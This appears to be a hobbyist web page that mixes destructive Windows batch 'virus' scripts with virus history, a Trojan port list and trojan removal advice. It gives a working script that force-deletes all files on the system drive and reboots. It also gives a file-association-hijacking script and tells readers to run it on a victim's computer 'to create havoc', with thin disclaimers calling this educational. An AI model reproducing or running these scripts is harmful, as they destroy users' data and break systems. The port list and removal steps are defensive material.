Virus Example

I am not responsible for any damage or error reporting in Your pc do it as ur own risk. These coding only for knowledge concept .

 All Scripts Here Are To Be Copied In Note Pad

>>This Virus Deletes All The Content Of A Drive...


@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00


Save The Above Code a .bat file

Evolution of computer Viruses

History of Virus

1. Like any other field in computer science, viruses have evolved -a great deal indeed- over the years. In the series of press releases which start today, we will look at the origins and evolution of malicious code since it first appeared up to the present.

Going back to the origin of viruses, it was in 1949 that Mathematician John Von Neumann described self-replicating programs which could resemble computer viruses as they are known today. However, it was not until the 60s that we find the predecessor of current viruses. In that decade, a group of programmers developed a game called Core Wars, which could reproduce every time it was run, and even saturate the memory of other players’ computers. The creators of this peculiar game also created the first antivirus, an application named Reeper, which could destroy copies created by Core Wars.

List of Trojan Ports

TROJAN PORTS:

 

The following are the default Trojan port numbers and the Trojan Daemons running in it. Check whether any of the following ports are opened on your computer and avoid getting infected again.

 

TCP 1 Breach.2001, SocketsDeTroie.230, SocketsDeTroie.250

TCP 28 Amanda.200
TCP 31 MastersParadise.920
TCP 68 Subseven.100
TCP 142 NetTaxi.180
TCP 146 Infector.141, Intruder.100, Intruder.100
TCP 171 ATrojan.200
TCP 285 WCTrojan.100
TCP 286 WCTrojan.100
TCP 334 Backage.310
TCP 370 NeuroticKat.120, NeuroticKat.130
TCP 413 Coma.109
TCP 420 Breach.450
TCP 555 Id2001.100, PhaseZero.100, StealthSpy.100
TCP 623 Rtb666.160
TCP 660 Zaratustra.100
TCP 661 Noknok.800, Noknok.820
TCP 666 BackConstruction.210, BackConstruction.250, Bla.100, Bla.200, Bla.400, Bla.503, Cain.150, Dimbus.100, Noknok.820, Ripper.100, SatansBackdoor.100, SatansBackdoor.101, SatansBackdoor.102, Unicorn.100, Unicorn.101, Unicorn.110

Extension change Virus

I Have enclosed a simple Extension replaceable batch virus “Ext_change” Source code.

1. Open up a Notepad and copy and paste the below code.

 

Title Ext_Change Virus
color a
Rem This Virus file replaces the actual file extensions with the given extensions
@echo off
assoc .txt=jpegfile
assoc .exe=htmlfile
assoc .jpeg=avifile
assoc .png=mpegfile
assoc .mpeg=txtfile
assoc .sys=regfile
msg Your System got Infected…..
exit

 

2. Save it with the extension .bat, and now you are ready to go….

3. Execute this on Victims computer to create havoc.

 

Its only you who is responsible for what you do with this…. 

we are not responsible for whatever you do with this… and it is only meant for educational means…

How it Works….

 

This Virus File will change the native extension with some other extension and makes them unable to open the file unless they know how to deal with it…
It replaces all the text files [.txt] with the extension [.jpeg], and likewise….

Removal of W32/Inservice.IA Trojan Manually

Manually Removing of W32/Inservice.IA Trojan

W32/Inservice.IA is a trojan. The trojan will infect Windows systems.
This trojan Copies its files toTemp Folder as hidden files or active non-hidden files.
Other names of W32/Inservice.IA Trojan:
This trojan is also known as Trojan-Downloader.Win32.INService.ia, TROJ_INSERVC.C.

Damage Level : Medium/High
Distribution Level: MediumW32/Inservice.IA Trojan Manual Removal Instructions
Recommend Removal from Safe Mode:
How to Start in Safe mode:
Restart your Computer, Press F8 Repeatedly, when your Screen turns on, Select Safe mode, press enter.

The Infected Files Can be Seen in these folders and names also Running in TasksEnd the Following Active Process Before Removal

• [ Kill the Process, Use Killbox if your Access Denied ]

Caught A Virus?

            If you've let your guard down--or even if you haven't--it can be hard to tell if your PC is infected. Here's what to do if you suspect the worst.

         Heard this one before? You must run antivirus software and keep it up to date or else your PC will get infected, you'll lose all your data, and you'll incur the wrath of every e-mail buddy you unknowingly infect because of your carelessness.

              You know they're right. Yet for one reason or another, you're not running antivirus software, or you are but it's not up to date. Maybe you turned off your virus scanner because it conflicted with another program. May be you got tired of upgrading after you bought Norton Antivirus 2001, 2002, and 2003. Or may be your annual subscription of virus definitions recently expired, and you've put off renewing.

It happens. It's nothing to be ashamed of. But chances are, either you're infected right now, as we speak, or you will be very soon.